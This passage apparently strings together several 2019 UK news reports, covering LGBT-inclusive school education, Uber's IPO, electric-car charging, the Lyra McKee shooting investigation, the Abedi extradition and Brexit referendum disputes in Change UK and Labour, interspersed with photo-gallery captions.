Education in England's primary and secondary schools have passed safely through the House of Lords." AKT, a charity which provides safe homes to young members of the LGBT+ community in the UK who are experiencing homelessness or living in dangerous environments, explained the significance of the backing. "A more inclusive education benefits everybody, but for LGBT+ young people in particular, it will enable them to learn and develop in a safer environment," the charity tweeted. The Twitter account for Manchester Pride described the passing of the regulation in the House of Lords as "incredible news". Thousands march against Donald Trump in LGBT rights parade Show all 8 1 /8 Thousands march against Donald Trump in LGBT rights parade Thousands march against Donald Trump in LGBT rights parade AP Thousands march against Donald Trump in LGBT rights parade AP Thousands march against Donald Trump in LGBT rights parade AP Thousands march against Donald Trump in LGBT rights parade AP Thousands march against Donald Trump in LGBT rights parade AFP/Getty Images Thousands march against Donald Trump in LGBT rights parade AP Thousands march against Donald Trump in LGBT rights parade AFP/Getty Images Thousands march against Donald Trump in LGBT rights parade AP In the House of Lords on Wednesday evening, Lord Agnew of Oulton, parliamentary under-secretary of state at the Department for Education, stated: "There is no reason why teaching children about the diverse society that we live in, and the different types of loving and healthy relationships, cannot be done in a way that respects everybodys views. "Schools should ensure that the needs of all pupils are appropriately met and that all pupils understand the importance of equality and respect, in particular respect for difference." Lord Agnew said that the new regulation is "clear on the teaching about LGBT relationships expected in secondary schools and encouraged in primary". The Conservative politician added there will still be "flexibility" for head teachers to "respond to the needs of their own schools". Professor Sanders states that while the backing of the guidelines in the House of Lords is promising, more action is needed to protect young members of the LGBT+ community. "It seems fitting to be writing this on Lesbian Visibility Day as though strides have been made, the level of suicides and attempted suicides of young LGBT people far out way those of heterosexual youngsters, and recorded homophobic hate crimes have risen," Professor Sanders says. The strapline of Kibworth Books, a bookshop in the village of Kibworth in Leicestershire, is something for everyone. But its only recently that everyone has been able to see what the store has in stock for them. Kibworth Books is among hundreds of independent UK booksellers who have started using NearSt technology, which allows small retailers to compete with Amazon by making their inventory visible in online searches. As well as listing stock online for potential customers to browse, NearSt has an add-on feature that makes the store appear in searches when people in the area Google the specific title they want. Uber is seeking a valuation of up to $91.5bn (70.8m) when it sells shares publicly for the first time next month. Updated stock market filings revealed the ride-hailing app is targeting a share price of $44 to $50, meaning it will raise around $9bn in cash to fund further expansion. Ubers price tag is lower than the $120bn that had been suggested by investment bankers last year but still represents a large sum for a company that has never come close to turning a profit and recently warned it may never make money. The $90bn-plus valuation reflects confidence among investors that Uber will eventually be able to turn some of its huge revenues into profits. However, the fact that the price is lower than previously forecast reflects poor performance by other high-profile technology startups that have recently gone public, notably Ubers closest rival Lyft, which has fallen 20 per cent in a month. Uber controversies Show all 4 1 /4 Uber controversies Uber controversies June 2017 Travis Kalanick resigned from his position as CEO of Uber in July of this year, after a tumultous period for the company. A sexist workplace culture was exposed by a damning internal report, leading to heightened pressure on the CEO and consequently to him taking a leave of absence in June. A week later he was forced to resign after losing the confidence of the board of investors AFP/Getty Uber controversies June 2017 Indian police escort Uber taxi driver and convicted rapist Shiv Kumar Yadav following his court appearance in New Delhi on 8 December, 2014. An Uber executive, Eric Alexander, was fired in June of this year after reportedly obtaining the records of the rapist's victim, with the intent to cast doubt on her account of the incident. She later sued the company for defamation and violating her privacy rights Chandan Khanna/AFP Uber controversies May 2017 The company were ordered to pay up to $45 million dollars back to New York based drivers, after taking too much in commission over a two and a half year period. We made a mistake and we are committed to making it right by paying every driver every penny they are owed, plus interest, as quickly as possible, said Rachel Holt, Ubers regional general manager in the US and Canada, to the Wall Street Journal Getty Uber controversies December 2016 Uber's self-driving cars were ordered to be removed from the roads by a Californian car regulator, after being spotted skipping traffic lights. Uber insist that the incidents were "human error" rather than a design flaw. The New York Times later refuted this in an article claiming the autonomous technology had in fact failed Youtube/KTVU Uber is pricing itself at eight times its revenue, somewhat lower than the 11-times multiple that Lyft aimed for. As part of the initial public offering (IPO) Uber will sell $500m worth of shares to PayPal while early investors will be able to cash out around $1.3bn from the sale of parts of their respective stakes. Uber co-founders Travis Kalanick and Garrett Camp will collect $323m between them if the company sells at the top end of its predicted range. Mr Kalanick, who was ousted from the company after being accused of ignoring allegations of sexual assault by staff members, will see his remaining stake valued at more than $5bn. Alongside details of the IPO, Uber also revealed that its drivers made 1.5 billion passenger journeys during the first three months of 2019, but the company reported a net loss of about $1bn. Uber warned earlier this month that it may not achieve profitability as it revealed it lost $3bn last year and $8bn over its 10-year existence. Uber said it expects operating expenses to increase significantly in the foreseeable future as it continues its expansion. In a filing with US regulators that revealed its financial health for the first time, Uber also said that its rapid growth has recently slowed. The company had 91 million average monthly users across its platforms, including food-delivery app Uber Eats at the end of 2018 but growth slowed to 33.8 per cent from 51 per cent a year earlier. Those users generated sales of $11.3bn last year, 42 per cent higher than in 2017. Chief executive Dara Khosrowshahi said: Over the past 18 months, we have improved our governance and board oversight; built a stronger and more cohesive management team; and made the changes necessary to ensure our company culture rewards teamwork and encourages employees to commit for the long term. Licensed to kill, sustainably is perhaps not as ringing a catchphrase as the original, but it may be the reality with reports that in his next movie, James Bond will be driving an electric Aston Martin. Agent 007 isnt the only one making the move to the greener alternative, however. There are currently around 4 million electric vehicles on roads globally, and the International Energy Agency predicts there will be 300 million by 2040. But James Bond is British, and hes going to face one key problem: running out of charge. In the UK, the infrastructure for electric cars is simply not up to supporting Bond on a cross-country car chase. From a lack of charging stations to a total inability to provide the kinds of power necessary for charging-at-scale, the UK is not where its leaders would like to think it is in terms of leading the conversation on uptake of new automotive technologies. While Bond might have some luck with his Aston Martin Rapide E in Cornwall or Milton Keynes, which tend to have fewer than 2km between charging points, hed better hope the bad guys hes chasing avoid Oxford or Norwich, where, if his battery ran low, hed be looking at lugging his car 6 to 10km before he could give it some gusto. This illustrates the key problem: theres a huge disparity between local authorities and their electric car charger provision, and theres barely any attempt to address the problem in a comprehensive approach. The charge is not enough: the UKs current voltage limits are not up to scratch (The Independent) Over a third of local authorities in Britain have fewer than 10 locations where drivers can recharge their car batteries, according to the RAC, while only three had more than 100. While the government has offered councils part of a 2.5m funding pot to improve their network, only 28 have even applied. The need for alignment goes beyond building charging stations, however we also need to provide them with power. If you consider a world in which we own electric cars at scale, well need charging stations where we can sit 10 or 20 cars to charge in parallel. Our current cables simply cannot support that with current voltage limits and while the Department for Transport is quick to point out that 80 per cent of electric vehicle owners charge them at home, many homes dont have enough bandwidth to charge more than one car. And going further, those consumers living in apartment blocks with a communal garage wont have access to charging unless infrastructure can be adapted to allow those buildings to provide the kind of power needed. The problem is that the industry is locked into a game of chicken and egg. Theres a reluctance to produce too many of these vehicles, and in turn consumers are reluctant to buy them. This industry nervousness is compounded by limitations of the technology, fears around the Uberification of the market and what the sharing economy might mean for car ownership and, more widely, the conditions of the economy. For example, nobody knows what Brexit will mean for the automotive industry. Given that most cars are imported, theres likely to be an impact on price, which might also impact how many units are being sold slowing down the rate of electric uptake. The UK cant sit back and hope for the best it needs to align interests of local authorities, government and private businesses to ensure that theres a master plan in place. Charge another day: Norwich and Oxford are not awash with public charging points (Nissan) Theres a lot that could be learned from the Netherlands in this regard and its Green Deal initiative. This aims to stimulate sustainable innovation by providing a way for private businesses, educational institutions, local and regional governments and interest groups to work with the national government on green growth and social issues. Essentially, if an individual or business is facing barriers to a sustainable innovation, the government works to remove any legislative barriers to that. It has meant that their infrastructure has developed a lot faster, and with it, sales. In 2018, sales of electric vehicles tripled. Without a more serious attempt to align businesses, startups, innovators and local authorities from the government, the UK so desperate to be seen as techy, innovative and keen for an acceleration of electric vehicle uptake will fall behind. And James Bond will have to have his next adventure in Holland. Wolf Ingomar Faecks is managing director and transportation industry lead at digital agency Publicis Sapient Police in Northern Ireland have released new footage of the man they believe shot dead Lyra McKee. At a press conference on Friday morning, detective superintendent Jason Murphy said officers wanted to speak to three men shown in the clip, one of which is the journalists suspected killer. The 29-year-old reporter was shot in the head last Thursday during a night of rioting in the Creggan area of Derry. The New IRA, a Republican dissident group has since accepted responsibility for her death. The footage shows the men walking together across Central Drive in Creggan area about a minute before McKees murder. A man in front is said to be carrying a crate of petrol bombs. Police have called for the publics help in identifying the short, stocky suspect walking behind him, who they believe is responsible for her death. I think people in the community know who they are and Im asking them today to come forward to help us, Mr Murphy said. Im releasing footage today from the night of Lyras murder and I want to appeal to anyone who recognises or knows these people to talk to us. Speaking about the main suspect, Mr Murphy said: He is shorter than both of the other men and is of stocky build. Lyra McKee was shot and killed during riots in Derry (AFP/Getty) (Jess Lowe Photography/AFP/Getty) It is of my belief that he is the gunman that fired indiscriminately into the crowd and placed the community and police officers at risk. I believe he is the person who took the life of Lyra McKee. UK news in pictures Show all 50 1 /50 UK news in pictures UK news in pictures 19 December 2021 Joao Moutinho of Wolverhampton Wanderers looks on during the Premier League match between Wolverhampton Wanderers and Chelsea at Molineux Getty Images UK news in pictures 18 December 2021 Freight lorries queuing at the port of Dover in Kent PA UK news in pictures 17 December 2021 Newly elected Liberal Democrat MP Helen Morgan, bursts 'Boris' bubble' held by colleague Tim Farron, as she celebrates following her victory in the North Shropshire by-election PA UK news in pictures 16 December 2021 Brussels sprouts are harvested by workers as they prepare for the busy Christmas period near Boston in Lincolnshire PA UK news in pictures 15 December 2021 Lewis Hamilton is made a Knight Bachelor by the Prince of Wales at Windsor Castle PA UK news in pictures 14 December 2021 The Royal Liver Buildings surrounded by early morning fog in Liverpool PA UK news in pictures 13 December 2021 People queue outside a walk-in Covid-19 vaccination centre at St Thomas's Hospital in Westminster Getty Images UK news in pictures 12 December 2021 People take part in the Big Leeds Santa Dash in Roundhay Park, Leeds PA UK news in pictures 11 December 2021 People arrive at a Covid-19 vaccination centre at Elland Road in Leeds, PA UK news in pictures 10 December 2021 Stella Moris speaks to the media after the US Government won its High Court bid to overturn a judges decision not to extradite WikiLeaks founder Julian Assange PA UK news in pictures 9 December 2021 Camels are lead around Salisbury Cathedral during a rehearsal for the Christmas Eve Service PA UK news in pictures 8 December 2021 Margaret Keenan and Nurse May Parsons, a year after Margaret was the first person in the UK to receive the Pfizer vaccine PA UK news in pictures 7 December 2021 Snowfall in Leadhills, South Lanarkshire as Storm Barra hits the UK with disruptive winds, heavy rain and snow PA UK news in pictures 6 December 2021 A person tries to avoid sea spray on New Brighton promenade in Wallasey as the UK readies for the arrival of Storm Barra Getty UK news in pictures 5 December 2021 People release balloons during a tribute to six-year-old Arthur Labinjo-Hughes outside Emma Tustin's former address in Solihull, West Midlands, where he was murdered by his stepmother PA UK news in pictures 4 December 2021 People walk through a Christmas market in Trafalgar Square Reuters UK news in pictures 3 December 2021 A pedestrian carries a dog as they dodge shoppers on Oxford Street in central London AFP/Getty UK news in pictures 2 December 2021 Duchess of Cambridge inspects a Faberge egg at the Victoria and Albert Museum Getty UK news in pictures 1 December 2021 Meerkats at London Zoo with an advent calendar PA UK news in pictures 30 November 2021 Workers put the finishing touches to the Trafalgar Square Christmas Tree ahead of the lighting ceremony later in the week PA UK news in pictures 29 November 2021 Home Secretary Priti Patel is greeted by a police dog at a special memorial service for Met Police Sergeant Matiu Ratana Getty UK news in pictures 28 November 2021 Riyad Mahrez of Manchester City battles for possession with Aaron Cresswell of West Ham United during a match at the Etihad during snow Manchester City/Getty UK news in pictures 27 November 2021 Residents clear branches from a fallen tree in Birkenhead, north west England as Storm Arwen triggered a rare red weather warning AFP via Getty Images UK news in pictures 3 December 2021 An aerial picture shows a worker using a quad bike and trailer to transport freshly harvested trees at Pimms Christmas Tree farm in Matfield, southeast England AFP via Getty UK news in pictures 26 November 2021 A shopper browses Christmas trees for sale at Pines and Needles in Dulwich, London Reuters UK news in pictures 25 November 2021 A murmuration of hundreds of thousands of starlings fly over a field at dusk in Cumbria, close to the Scottish border PA UK news in pictures 3 December 2021 A pedestrian carries a dog as they dodge shoppers on Oxford Street in central London AFP/Getty UK news in pictures 24 November 2021 Migrants are helped ashore from a RNLI (Royal National Lifeboat Institution) lifeboat at a beach in Dungeness, on the south-east coast of England, on November 24, 2021, after being rescued while crossing the English Channel. AFP via Getty Images UK news in pictures 23 November 2021 The coffin of Sir David Amess is carried past politicians, including former Prime Ministers Sir John Major, David Cameron and Theresa May, Speaker of the House of Commons Sir Lindsay Hoyle, Home Secretary Priti Patel and Prime Minister Boris Johnson during the requiem mass for the MP at Westminster Cathedral, central London PA UK news in pictures 22 November 2021 The scene in Dragon Rise, Norton Fitzwarren, Somerset where police have launched a murder probe after two people were found dead Tom Wren/SWNS UK news in pictures 21 November 2021 London-based midwife Sarah Muggleton, 27, takes part in a 'March with Midwives' in central London to highlight the crisis in maternity services PA UK news in pictures 20 November 2021 Police officers monitor as climate change activists sit down and block traffic during a protest action in solidarity with activists from the Insulate Britain group who received prison terms for blocking roads, on Lambeth Bridge in central London AFP via Getty Images UK news in pictures 19 November 2021 A giant installation of Prime Minister Boris Johnson made from recycled clothing goes on display at Manchester Central, as part of Manchester Art Fair, in a 'wake-up call for the Prime Minister to tackle textile waste' PA UK news in pictures 18 November 2021 The scene at a recycling centre in Stert, near Devizes in Wiltshire after a large blaze was brought under control. The fire broke out on Wednesday night the fire service has said and local residents were advised to keep windows and doors shut due to large amounts of smoke PA UK news in pictures 17 November 2021 The sun rises over South Shields Lighthouse, on the North East coast of England PA UK news in pictures 16 November 2021 ancer Maithili Vijayakumar at the launch of 2021 Diwali celebrations at St Andrew Square in Edinburgh PA UK news in pictures 15 November 2021 Forensic officers work outside Liverpool Women's Hospital, following a car blast, in Liverpool Reuters UK news in pictures 14 November 2021 Wreaths by the Cenotaph after the Remembrance Sunday service in Whitehall, London PA UK news in pictures 13 November 2021 Richard Ratcliffe, the husband of detainee Nazanin Zaghari-Ratcliffe, is ending his hunger strike in central London after almost three weeks. Ratcliffe has spent 21 days camped outside the Foreign, Commonwealth and Development Office in London without food. He began his demonstration on 24 October after his wife lost her latest appeal in Iran, saying his family was caught in a dispute between two states PA UK news in pictures 12 November 2021 Peter Green protesting outside the Cop26 gates during the official final day of the Cop26 summit in Glasgow. PA UK news in pictures 11 November 2021 Seagulls fly around the statue entitled 'Tommy', a first World War soldier by artist Ray Lonsdale at dawn in Seaham, Britain Reuters UK news in pictures 10 November 2021 Climate activists dressed as characters inspired by the Netflix series Squid Game protest as they ask Samsung to go 100% renewable energy, outside the venue for COP26 in Glasgow Reuters UK news in pictures 9 November 2021 A deer statue silhouetted at Loch Faskally in Pitlochry, Scotland Reuters UK news in pictures 8 November 2021 Sunrise over St Mary's Lighthouse at Whitley Bay on the North East coast of England PA UK news in pictures 7 November 2021 Activists from Friends of the Earth during a demonstration calling for an end to all new oil and gas projects in the North Sea outside the UK Government's Cop26 hub during the Cop26 summit in Glasgow PA UK news in pictures 6 November 2021 Protesters take part in a rally organised by the Cop26 Coalition in Glasgow demanding global climate justice PA UK news in pictures 5 November 2021 Final touches are made to a life sized Sir David Attenborough cake surrounded by animals as part of a display created by a group of cake artists during Cake International at NEC Birmingham PA UK news in pictures 4 November 2021 A spectacular display of the Northern Lights seen over Derwentwater, near Keswick in the Lake District PA UK news in pictures 3 November 2021 Police and demonstrators at a Extinction Rebellion protest on Buchanan Street, during the Cop26 summit in Glasgow PA UK news in pictures 2 November 2021 A person walks along the Basingstoke canal near to Dogmersfield in Hampshire PA Mr Murphy said the Police Service of Northern Ireland has received widespread support from people in Derry, adding they have the information to unlock details of who is responsible for McKees death. He made a direct appeal to the gunman, asking him to come forward and explain why he fired the shots and explain to McKees family why she died. Investigators said McKee was standing next to a police vehicle when she was accidentally shot by a dissident republican aiming at officers. Footage shared by a member of the public on social media last week appeared to show a gunman firing at least two shots from behind a wall. Northern Ireland troubles: Footage shows suspected moments before and after journalist Lyra McKee is shot dead The man, dressed in dark clothing and with his head and face covered, could be seen leaning around the barrier surrounding the Creggan Day Centre to aim towards police. He fired two shots, three seconds apart, with what appeared to be a handgun before screaming could be heard. The suspect then left and accomplices could be seen crouching to the ground where the gunman stood, potentially to pick up any evidence. Four men throwing petrol bombs and missiles at police, shortly before a shooting in Derry on 18 April (Niall Carson/PA Wire) The gunman and three accomplices, who were also wearing dark clothing, hoods and face coverings, bear a striking similarity to men photographed launching missiles at police shortly before the shooting. Additional reporting by PA The extradition of Manchester Arena suicide bomber Salman Abedis brother from Libya to the UK has been put on hold because of fighting in Tripoli, the Libyan interior minister has said. Libyan authorities have agreed to return 21-year-old Hashem Abedi because he is a British citizen, but attacks on the capital by rebel forces have delayed proceedings. Now they are waiting. Now the war, everything is stopped. We have to wait until the conflict is finished, interior minister Fathi Bashagha told the BBC. All our attention we are paying is towards how to push back the [Khalifa] Haftar militia attacking Tripoli. This is important for us. Mr Abedi, who is wanted in the UK in relation to the deaths of 22 people in the suicide bombing carried out by his brother Salman, was arrested taken into custody in Tripoli in May 2017. Manchester Bombing Attack: one year on Show all 10 1 /10 Manchester Bombing Attack: one year on Manchester Bombing Attack: one year on The Flower Festival at St Ann's Church marking the Manchester Arena bombing Manchester Bombing Attack: one year on The Trees of Hope trail in St Ann's Square where people are encouraged to leave and share tributes Manchester Bombing Attack: one year on The Flower Festival at St Ann's Church marking the Manchester Arena bombing Manchester Bombing Attack: one year on The Trees of Hope trail in St Ann's Square where people are encouraged to leave and share tributes Manchester Bombing Attack: one year on The Trees of Hope trailin St Ann's Square where people are encouraged to leave and share tributes Manchester Bombing Attack: one year on The Trees of Hope trailin St Ann's Square where people are encouraged to leave and share tributes Manchester Bombing Attack: one year on The Trees of Hope trailin St Ann's Square where people are encouraged to leave and share tributes Manchester Bombing Attack: one year on Embracing Manchester Exhibition at St Ann's Church was created by artist Ghislaine Howard after being inspired by Muslim video blogger Baktash Noori who, after the attack spent days in the city centre trying to win the trust of the public. Manchester Bombing Attack: one year on The Flower Festival at St Ann's Church marking the Manchester Arena bombing Manchester Bombing Attack: one year on The Trees of Hope trailin St Ann's Square where people are encouraged to leave and share tributes British authorities made the extradition request in November 2017, and Greater Manchester Police has said it wants to arrest him for murder, attempted murder and conspiracy to cause an explosion. In his interview on Friday, Mr Bashagha criticised the British government for withdrawing diplomats and security personnel from Tripoli in response to the recent rebel offensive on the city. The minister said relations between the countries had been damaged by the withdrawal and would take time to repair. Fighters loyal to the government run for cover during clashes with forces loyal to Khalifa Haftar on 25 April (AFP/Getty Images) (AFP/Getty) Rockets and mortar shells were reportedly fired by forces loyal to Field Marshal Khalifa Hafter on residential neighborhoods in Tripoli on Friday. Mr Hafters self-styled Libyan National Army (LNA) launched an offensive to take the capital city earlier this month and is battling militias loosely allied with the UN-supported government based there. UN spokesman Stephane Dujarric said the organisation is gravely concerned at continued reports of indiscriminate shelling of populated areas. Civilians in conflict-affected areas are experiencing electricity cuts and water shortages as a result of damaged infrastructure, while access to essential items such as food, medicine and fuel is severely disrupted, said Mr Dujarric. Almost 39,000 people have been displaced by the fighting over the past three weeks, according to the International Organisation for Migration. The Independent has contacted the Foreign Office for comment. The option of a no-deal Brexit should be on the ballot paper for any second referendum, Change UK interim leader Heidi Allen has suggested. The South Cambridgeshire MP, who defected from the Conservatives in February to join The Independent Group, said she had "some sympathy" with no deal being an option because it offered a "clean Brexit". She suggested that voters could be given a choice between any Brexit deal approved by parliament, remaining in the EU and leaving without an agreement. Change UK is committed to campaigning for a fresh referendum on Brexit. Asked how another vote would work, she told The House magazine: Theres clearly a bit more knocking around to do in the House of Commons in terms of what the emerging article is Perhaps we have another round of indicative votes. Whatever comes out of that we put to the British people in a referendum versus Remain. Theres a debate to be had around whether you have a three-stage voting process that includes a clean no-deal Brexit because for some people, they believe that is Brexit. Theres maybe some debate to be had around that. Pushed on whether she wanted no deal to be on the ballot paper, she added: I have some sympathy for it. The Electoral Commission would have a view about how it might split the vote or whether it might artificially give advantage in one direction or the other. Thats the argument people say, well, youll be splitting the vote if its the leaving deal or the no deal. If that is the conclusion, then clearly, we cant have that. But I feel like we should be offering no deal because to some people that is clean Brexit. But one thing I am without doubt 100 per cent clear on is that Remain as we are has to be on the ballot paper because thats what were comparing. Were in it, versus whatever the brave new world might look like. Ms Allen also admitted that Change UK's process for vetting candidates for next month's European Parliament elections was "not good enough" after two candidates were forced to step down after having been found to have previously made offensive comments on social media. One had posted saying that "black women scare me" while another had made derogatory remarks about "Romanian pickpockets". The Change UK interim leader said the party had employed a "professional top end vetting company" but that they had "missed a couple of things". Which MPs defected to form Change UK? Show all 12 1 /12 Which MPs defected to form Change UK? Which MPs defected to form Change UK? Change UK Details on the individual MPs are in the following photos Reuters Which MPs defected to form Change UK? Heidi Allen Anti-Brexit MP for South Cambridgeshire resigned from the Conservative party on February 20 PA Which MPs defected to form Change UK? Chuka Umunna MP for Streatham since 2010 and prominent People's Vote supporter PA Which MPs defected to form Change UK? Anna Soubry The prominent anti-Brexit MP for Broxtowe resigned from the Conservative party on February 20 PA Which MPs defected to form Change UK? Luciana Berger MP for Liverpool Wavertree since 2010, resigned from the Labour Party over bullying and anti-semitism PA Which MPs defected to form Change UK? Sarah Wollaston Anti-Brexit MP for Totnes resigned from the Conservative party on February 20 PA Which MPs defected to form Change UK? Joan Ryan MP for Enfield North resigned from the Labour party on February 19 citing its tolerance of a "culture of anti-Jewish racism" PA Which MPs defected to form Change UK? Ann Coffey MP for Stockport since 1992 Chris McAndrew / UK Parliament Which MPs defected to form Change UK? Gavin Shuker MP for Luton South since 2010 Getty Which MPs defected to form Change UK? Chris Leslie MP for Nottingham East since 2010 PA Which MPs defected to form Change UK? Mike Gapes MP for Ilford South since 1992 PA Which MPs defected to form Change UK? Angela Smith MP for Penistone and Stocksbridge since 2010 Asked how the row made her feel, she said: Angry, disappointed. Its unprofessional, its not good enough. But were not perfect, nobodys perfect. In life, in any area of life, you accept you cant do everything yourself. Thats why you pay other organisations or businesses to do things for you where they have the skills, recognising that you dont." Ms Allen said her party needed to focus on "the really important stuff", including welfare and education, rather than Brexit alone. She said: "Brexit is a massive, massive issue, but it cannot be everything that we're about. "I want to get onto the exciting stuff, I want to sort welfare out, I want to deal with education, I want to get some proper funding in my schools. "I want to get onto all that other stuff, but Brexit, as it is with everything in life, is just stalling and stopping us from getting onto the really important stuff." Labour has sparked an angry backlash from its own MPs and members by drawing up a leaflet for next month's European Parliament elections that makes no mention of a fresh Brexit referendum. The leaflet pledges that the party will deliver Brexit by seeking "a better deal with Europe" but does not mention its policy of supporting another public vote on any exit deal approved by parliament. MPs said the leaflet had caused "complete meltdown", with supporters of a Final Say vote "utterly furious" at what they suggested was an attempt by Labour staff to undermine the party's policy. Jeremy Corbyn's top team is deeply divided on the issue of a second referendum. Senior shadow ministers including shadow Brexit secretary Sir Keir Starmer, deputy leader Tom Watson and shadow foreign secretary Emily Thornberry back another referendum despite strong opposition from others, including party chairman Ian Lavery, shadow Cabinet Office minister Jon Trickett and some of Mr Corbyn's closest advisers. Sir Keir and Ms Thornberry have said that the party supports a "confirmatory vote" on any Brexit deal approved by MPs, while Mr Corbyn's team insists Labour would back a referendum only on the government's deal or to avoid a no-deal exit. The leaflets, which were passed to The Independent, do not mention any referendum. Under the heading "a better deal with Europe", they say only: "The Tories' chaotic handling of Brexit has left our country in crisis. "With Labour, Britain will have a proper say in future trade deals and businesses wouldn't have to pay to trade with Europe. "Labour will keep a close relationship with the EU and protect workers' rights." It is understood that neither shadow cabinet ministers nor Labour MEPs had signed off the leaflet, which was drawn up by Mr Corbyn's team and staff at Labour's HQ. Sources said many MPs were furious when they saw they draft leaflet. One Labour MP told The Independent: "People went into complete meltdown and were utterly furious at what appears to be yet another attempt by a small cabal of disgruntled officials to undermine the entire rest of the party, with no reference to the very candidates these leaflets are meant to promote." Opposing protesters flock to parliament on would be date of Brexit Show all 30 1 /30 Opposing protesters flock to parliament on would be date of Brexit Opposing protesters flock to parliament on would be date of Brexit Pro-Brexit leave the European Union supporters attend a rally in Parliament Square after the final leg of the "March to Leave" in London AP Opposing protesters flock to parliament on would be date of Brexit The protest march which started on March 16 in Sunderland, north east England, finished on what was the original date for Brexit to happen before the recent extension Reuters Opposing protesters flock to parliament on would be date of Brexit AP Opposing protesters flock to parliament on would be date of Brexit Reuters Opposing protesters flock to parliament on would be date of Brexit PA Opposing protesters flock to parliament on would be date of Brexit Reuters Opposing protesters flock to parliament on would be date of Brexit EPA Opposing protesters flock to parliament on would be date of Brexit A Brexit supporter sips a can of Stella in protests outside of the Houses of Parliament AFP/Getty Opposing protesters flock to parliament on would be date of Brexit Dedicated anti-Brexit campaigner Steve Bray and likewise pro-Brexit campaigner Joseph Afrane go head to head near the Houses of Parliament AFP/Getty Opposing protesters flock to parliament on would be date of Brexit A pro-Brexit marching band in Parliament Square Getty Opposing protesters flock to parliament on would be date of Brexit Remain supporters wave EU flags from a bus in Parliament Square PA Opposing protesters flock to parliament on would be date of Brexit A Brexit supporter shouts slogans outside parliament EPA Opposing protesters flock to parliament on would be date of Brexit A Brexit supporter protests outside parliament Reuters Opposing protesters flock to parliament on would be date of Brexit A Brexit supporter protests outside of the Houses of Parliament Getty Opposing protesters flock to parliament on would be date of Brexit Brexit supporters protest outside of the Houses of Parliament REUTERS Opposing protesters flock to parliament on would be date of Brexit A pro-Brexit flag is waved in Parliament Square AP Opposing protesters flock to parliament on would be date of Brexit The March to Leave nears the Houses of Parliament Reuters Opposing protesters flock to parliament on would be date of Brexit A Brexit protester holds a sign outside parliament EPA Opposing protesters flock to parliament on would be date of Brexit Brexit supporters carry the coffin of democracy AFP/Getty Opposing protesters flock to parliament on would be date of Brexit Brexit supporters march outside parliament AFP/Getty Opposing protesters flock to parliament on would be date of Brexit Brexit supporters take part in the March to Leave protest in London PA Opposing protesters flock to parliament on would be date of Brexit Brexit supporters protest outside parliament AFP/Getty Opposing protesters flock to parliament on would be date of Brexit A Brexit supporter holds a sign outside the Houses of Parliament Getty Opposing protesters flock to parliament on would be date of Brexit A man holds satirical paintings of politicians Reuters Opposing protesters flock to parliament on would be date of Brexit An pro-Brexit float on the March to Leave march in London Reuters Opposing protesters flock to parliament on would be date of Brexit Far-right activist Tommy Robinson addresses protesters outside the Houses of Parliament Getty Opposing protesters flock to parliament on would be date of Brexit A Brexit supporter outside the Houses of Parliament Reuters Opposing protesters flock to parliament on would be date of Brexit A Tommy Robinson supporter arrives at the Houses of Parliament Getty Opposing protesters flock to parliament on would be date of Brexit A jogger gestures rudely at a Brexit supporter outside of the Houses of Parliament AFP/Getty Opposing protesters flock to parliament on would be date of Brexit A Brexit supporter outside the Houses of Parliament PA They added: "It's quite extraordinary to see this early draft of a leaflet which makes no mention of Labour's key conference policy on Brexit, especially just a day after the international commission [of Labour's National Policy Forum] responsible for drawing up our policy on these issues unanimously supported a confirmatory vote. "I sincerely hope this is an early draft because it would be unacceptable for unelected officials to attempt to subvert Labour's members, trade unions and elected representatives in this way." Michael Chessum, national organiser for grassroots Labour group Another Europe is Possible, said: "Labour cannot go into these elections with anything less than a clear commitment to public vote and a transformative vision for Europe. This is an election about Brexit, and about the future of Europe, in which Labour's main opponents are literally called the Brexit Party. "The current draft of the leaflets is less head in the sand than head smacking repeatedly and pointlessly into a concrete pavement. It's not even radical on domestic policy. Nigel Farage would be delighted if these went out, and party activists and supporters demoralised. Hopefully there will be time to rethink." A Labour spokesperson said: "This is a short pre-manifesto leaflet to introduce our candidates and set out our commitment to Leave and Remain voters to bring our country together. It highlights how the Tories chaotic handling of Brexit has left our country in crisis and how our MEPs will fight for proper investment in communities, housing, jobs and industries. Our full manifesto, which will address the issues of a Brexit deal and the circumstances of a referendum, will be published after the local elections." Jeremy Corbyn is under growing pressure over his partys position on a second Brexit referendum after a leaked draft of a campaign leaflet included no mention of a Final Say vote. The Labour leader faced an angry backlash over the flyer, with MPs saying it had triggered complete meltdown in the party and left pro-EU MPs utterly furious. As the row deepened, 75 MPs and 14 MEPs wrote to Labours governing body to demand that a clear commitment to another referendum be included in the partys manifesto for next months European parliament elections. Mr Corbyns top team is split on whether Labour should support a second referendum. Several senior shadow cabinet ministers want the party to support a public vote on any Brexit deal passed by parliament, but Mr Corbyns inner circle say he only supports a referendum on the governments deal or to avoid a no-deal outcome. Other shadow ministers oppose another public poll entirely. In their letter to the National Executive Committee (NEC), the MPs and MEPs said Labour had a clear opportunity to win these elections if it fully supports a Final Say vote. They wrote: These elections are about the kind of Europe we want to live in, and we cant make a convincing case in them without being clear about Brexit. Labour has already, rightly, backed a confirmatory public vote. The overwhelming majority of our members and voters support this, and it is the democratically established policy of the party. Our members need to feel supported on doorsteps by a clear manifesto that marks us out as the only viable alternative to Nigel Farages Brexit Party. We need a message of hope and solidarity, and we need to campaign for it without caveats. To motivate our supporters, and to do the right thing by our members and our policy, a clear commitment to a confirmatory public vote on any Brexit deal must be part of our European election manifesto. We understand the many different pressures and views within our movement, but without this clear commitment, we fear that our electoral coalition could fall apart. The MPs and MEPs said the world is watching and that Labour must be ready to rise to the challenge. They added: We must run a dynamic, energetic campaign around a radical manifesto to transform Europe and a clear position on Brexit. Opposing protesters flock to parliament on would be date of Brexit Show all 30 1 /30 Opposing protesters flock to parliament on would be date of Brexit Opposing protesters flock to parliament on would be date of Brexit Pro-Brexit leave the European Union supporters attend a rally in Parliament Square after the final leg of the "March to Leave" in London AP Opposing protesters flock to parliament on would be date of Brexit The protest march which started on March 16 in Sunderland, north east England, finished on what was the original date for Brexit to happen before the recent extension Reuters Opposing protesters flock to parliament on would be date of Brexit AP Opposing protesters flock to parliament on would be date of Brexit Reuters Opposing protesters flock to parliament on would be date of Brexit PA Opposing protesters flock to parliament on would be date of Brexit Reuters Opposing protesters flock to parliament on would be date of Brexit EPA Opposing protesters flock to parliament on would be date of Brexit A Brexit supporter sips a can of Stella in protests outside of the Houses of Parliament AFP/Getty Opposing protesters flock to parliament on would be date of Brexit Dedicated anti-Brexit campaigner Steve Bray and likewise pro-Brexit campaigner Joseph Afrane go head to head near the Houses of Parliament AFP/Getty Opposing protesters flock to parliament on would be date of Brexit A pro-Brexit marching band in Parliament Square Getty Opposing protesters flock to parliament on would be date of Brexit Remain 